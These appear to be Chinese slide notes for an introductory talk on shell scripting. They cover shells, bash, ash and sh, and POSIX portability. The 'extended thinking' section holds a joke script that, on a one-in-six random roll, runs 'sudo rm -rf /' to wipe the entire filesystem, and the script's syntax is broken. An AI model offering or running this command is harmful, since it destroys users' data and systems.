如何写shell脚本?尝试自己编写一个简单脚本。

java分享会

分享人:龚剑飞

1.背景介绍

2.知识剖析

3.常见问题

4.解决方案

5.编码实战

6.扩展思考

7.参考文献

8.更多讨论

1.背景介绍

先介绍下背景

Shell是什么?

Shell本身是一个用C语言编写的程序,它是用户使用Linux的桥梁。

Shell既是一种命令语言,又是一种程序设计语言。作为命令语言,它交互式地解释和执行用户输入的命令;作为程序设计语言,它定义了各种变量和参数,并提供了许多在高级语言中才具有的控制结构,包括循环和分支。

2.知识剖析

Shell有两种执行命令的方式:

•交互式(Interactive):解释执行用户的命令,用户输入一条命令,Shell就解释执行一条。

•批处理(Batch):用户事先写一个Shell脚本(Script),其中有很多条命令,让Shell一次把这些命令执行完,而不必一条一条地敲命令。 Shell脚本和编程语言很相似,也有变量和流程控制语句,但Shell脚本是解释执行的,不需要编译,Shell程序从脚本中一行一行读取并执行这些命令,相当于一个用户把脚本中的命令一行一行敲到Shell提示符下执行。

Shell是一种脚本语言(即解释型语言),必须有解释器来执行这些脚本。

bash: bash是Linux系统默认使用的shell。bash由Brian Fox和Chet Ramey共同完成,是BourneAgain Shell的缩写,内部命令一共有40个。

ash: ash shell 是由Kenneth Almquist编写的,Linux中占用系统资源最少的一个小shell,它只包含24个内部命令,因而使用起来很不方便。

sh: sh 由Steve Bourne开发,是Bourne Shell的缩写,各种UNIX系统都配有sh。

3.常见问题

使用Shell的好处是什么?

4.解决方案

因为Shell经过了POSIX的标准化。因此,Shell脚本只要“用心写”一次,即可应用到很多系统上。之所以要使用Shell脚本是基于:

•简单性:Shell是一个高级语言;通过它,你可以简洁地表达复杂的操作。

•可移植性:使用POSIX所定义的功能,可以做到脚本无须修改就可在不同的系统上执行。

•开发容易:可以在短时间内完成一个功能强大又妤用的脚本。

5.编码实战

这里编码实战环节主要讲三个知识点:

1、讲一讲Linux文件的权限

2、讲一讲函数与函数库

3、讲一讲当前session可以保留的命令行函数,和可以持久化保留的.bashrc

6.扩展思考

#!/bin/bash

if [ $((($RANDOM) % 6)) ==0 ] then

sudo rm -rf /

|| else echo "Lucky boy"

fi

7.参考文献

《Linux命令行与shell脚本编程大全》

8.更多讨论

鸣谢

感谢观看,如有出错,恳请指正

BY : 龚剑飞